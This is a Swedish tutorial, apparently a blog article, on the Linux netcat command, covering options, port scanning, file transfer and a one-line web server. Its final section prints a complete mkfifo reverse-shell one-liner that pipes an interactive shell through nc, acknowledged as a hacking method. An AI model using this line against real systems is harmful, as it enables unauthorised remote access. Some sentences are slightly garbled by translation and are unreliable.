Betalningsmetoder Abuse

Vad kommandot NC används till i Linux

29.08.2024, 02:19

Kommandot netcat behövs för att skicka och ta emot data med hjälp av TCP- och UDP-protokollen. Det har inte en stor uppsättning funktioner, men det är tillräckligt för anslutningskontroll och enkel felsökning. Hur kommunicerar man via TCP-protokollet? Denna fråga ställs av många användare. I den här artikeln kommer vi att svara på den här frågan och även visa exempel på verklig tillämpning av kommandot.

Vad gör kommandot?

Kommandot netcat (eller nc) är ett kraftfullt verktyg för att arbeta med nätverksanslutningar. Det används ofta av systemadministratörer och utvecklare för olika uppgifter. Här är de viktigaste funktionerna och egenskaperna i netcat:

  1. Upprätta TCP/UDP-anslutningar: gör att du kan upprätta anslutningar till fjärrvärdar med hjälp av TCP- och UDP-protokoll.
  2. Portlyssning: kan användas som en server för att lyssna efter inkommande anslutningar på en specifik port
  3. Dataöverföring: Överför data mellan datorer via ett nätverk. Detta kan vara användbart för filöverföring eller meddelandehantering.
  4. Felsökning av nätverksapplikationer: används för att testa och felsöka nätverkstjänster, vilket gör att du kan skicka och ta emot godtyckliga data.
  5. Skapa enkla chattar: enkel textkommunikation mellan två system kan sättas upp
  6. Portskanning: kan användas för att kontrollera om det finns öppna portar på fjärrvärdar.
  7. Tunnling: kan användas för att skapa tunnlar för att omdirigera trafik genom andra portar eller värdar.
  8. Arbeta med proxyservrar: kan användas för att arbeta med proxyservrar och utföra olika nätverksuppgifter.

netcat är ett mångsidigt verktyg som kan användas i en mängd olika scenarier, från enkla meddelanden till komplexa nätverksoperationer.

Alternativ

Låt oss börja med att titta på syntaxen och de mest populära:

  • -6 - använd IPv6-protokoll. Standardvärdet är -4 respektive IPv4;
  • -h - visa hjälp med listan över tillgängliga parametrar;
  • -i - fördröjning - lägg till fördröjning mellan att skicka strängar eller skanna portar. Den ställs in i sekunder;
  • -l - lyssna-läge. Används med portspecifikation;
  • -N - stänger anslutningen när slutet av filen har nåtts när den skickas;
  • -n - Arbeta med IP-adresser direkt utan DNS, inaktivera även portskanning;
  • -P - user_name - ange användarnamnet för att ansluta till proxyn;
  • -x - address:port - ange adress och port för att ansluta till proxyn;
  • -p - port - ange portnummer. I de flesta fall läses porten utan att parametern anges;
  • -U - använd UNIX-domänsocket (för kommunikation mellan processer);
  • -u - använd UDP-protokoll, som standard används TCP;
  • -v - detaljerat läge. Används vid skanning;
  • -W number_packets - stäng anslutningen efter att ha tagit emot ett visst antal paket;
  • -w timer - aktivera timer för att begränsa anslutningstiden. Den ställs in i sekunder;
  • -z - inaktivera datasändning. Det används under skanning.

Kommandot har följande form (parametrar portadress):

$ nc

Nu ska vi berätta hur du använder kommandot.

Kontrollera porten

Kontroll är den huvudsakliga användningen av netcat. Du bör använda två parametrar -vz, ange adress och port. Du kan ange ett antal adresser, men i det här fallet är det bättre att bara sikta öppna portar med kommandotgrep. Låt oss skanna portarna på den lokala nätverksadressen:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

På samma sätt kan vi skanna UDP-portar genom att lägga till parametern -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Du bör känna till huvudskillnaden mellan TCP och UDP. Så i UDP-portar är alltid tillgängliga.

Lyssna på porten

Parametern -l är avsedd för att lyssna på porten. Det är ofta tillräckligt, men du kan aktivera det detaljerade läget:

$ nc -nlv 8080

Kom ihåg att när du använder TCP-protokollet måste porten vara fri, annars kommer felet Redan i bruk att visas. Inte alla portar kan användas av normala användare, till exempel port 80 (HTTP), troligen kommer den att upptas av en annan process och kräver superanvändarrättigheter.

Filutbyte

En användbar förmåga hos kommandot är datautbyte. Ett enkelt exempel är ett textchattrum. För att starta en chatt på en dator, kör verktyget i portlyssningsläget:

$ nc -lp 8080

På den andra datorn måste du ange adressen till den första datorn och samma port. Glöm inte heller att kontrollera att porten är öppen:

$ nc 0.0.0.0 8080

På så sätt kommer du att kunna skicka och ta emot meddelanden. Det vill säga kommandot är avsett för filutbyte. Principen är densamma, förutom att det är nödvändigt att omdirigera utdata till en fil, nämligen paste.txt:

$ nc -l 8080 > paste.txt

På den andra datorn kommer filen copy.txt att fungera som inmatning. Det är inte överflödigt att använda parametern -N för att stänga anslutningen efter filöverföringen:

$ nc -N 0.0.0.0 8080 < copy.txt

För filöverföring är det viktigt att följa sekvensen, först öppna lyssning och först sedan skicka filen. Kommandot nc är ett fungerande, men långt ifrån det bästa sättet att överföra filer. Det finns mer effektiva och användbara verktyg för denna uppgift.

En enkel webbserver

Eftersom NC-kommandot inte fungerar med TCP-protokollet kan det både skicka och ta emot HTTP-förfrågningar. Verktyget kan därför bli en enkel webbserver. Ja, du kan inte göra något knepigare än en tom sida på det här sättet, men operationen tar nästan ingen tid, och plus är att du inte behöver installera något ytterligare.

På exempelformuläret HTTP-svar med filen index.html. På tal om np i sig är det en bra idé att ställa in en timer med parametern -w 1 för att bryta anslutningen om webbläsaren inte gör det:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

För att hämta data från en webbplats kan du skapa en begäran och skicka den till den angivna adressen och porten. Men det här sättet är ganska komplicerat, det är bättre att använda lämpligt CURL-kommando.

Fjärrskal

Baserat på de exempel som diskuterats ovan kommer det inte att vara svårt att dra slutsatsen att kommandot låter dig organisera fjärråtkomst till datorns skal. Tidigare hade NC-verktyget flera parametrar för att öppna åtkomst till terminalen. Parametern -e har tagits bort från verktyget för länge sedan, så det kommer inte att finnas någon enkel åtkomst till terminalen längre. Säkerheten för själva applikationen har blivit högre, men den kan fortfarande fungera tillsammans med andra.

Låt oss visa anslutningen med hjälp av den namngivna kanalen mkfifo. Först och främst, låt oss börja lyssna på porten på datorn där vi får tillgång:

$ nc -lvnp 8080

Låt oss gå direkt till kommandot för att öppna terminalen. Först tar du bort den gamla namngivna kanalen(rm /tmp/f), skapar en ny på sin plats(mkfifo /tmp/f), läser dess innehåll(cat /tmp/f) och skickar ett skalkommando till dess utgång(sh -i 2>&1). Därefter återstår det att köra nc med utdata till vår namngivna kanal(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Tänk på att detta är ett sätt att hacka, men det kan vara användbart vid ssh-problem. För att förhindra attacken ska du konfigurera en säkerhetspolicy och en brandvägg.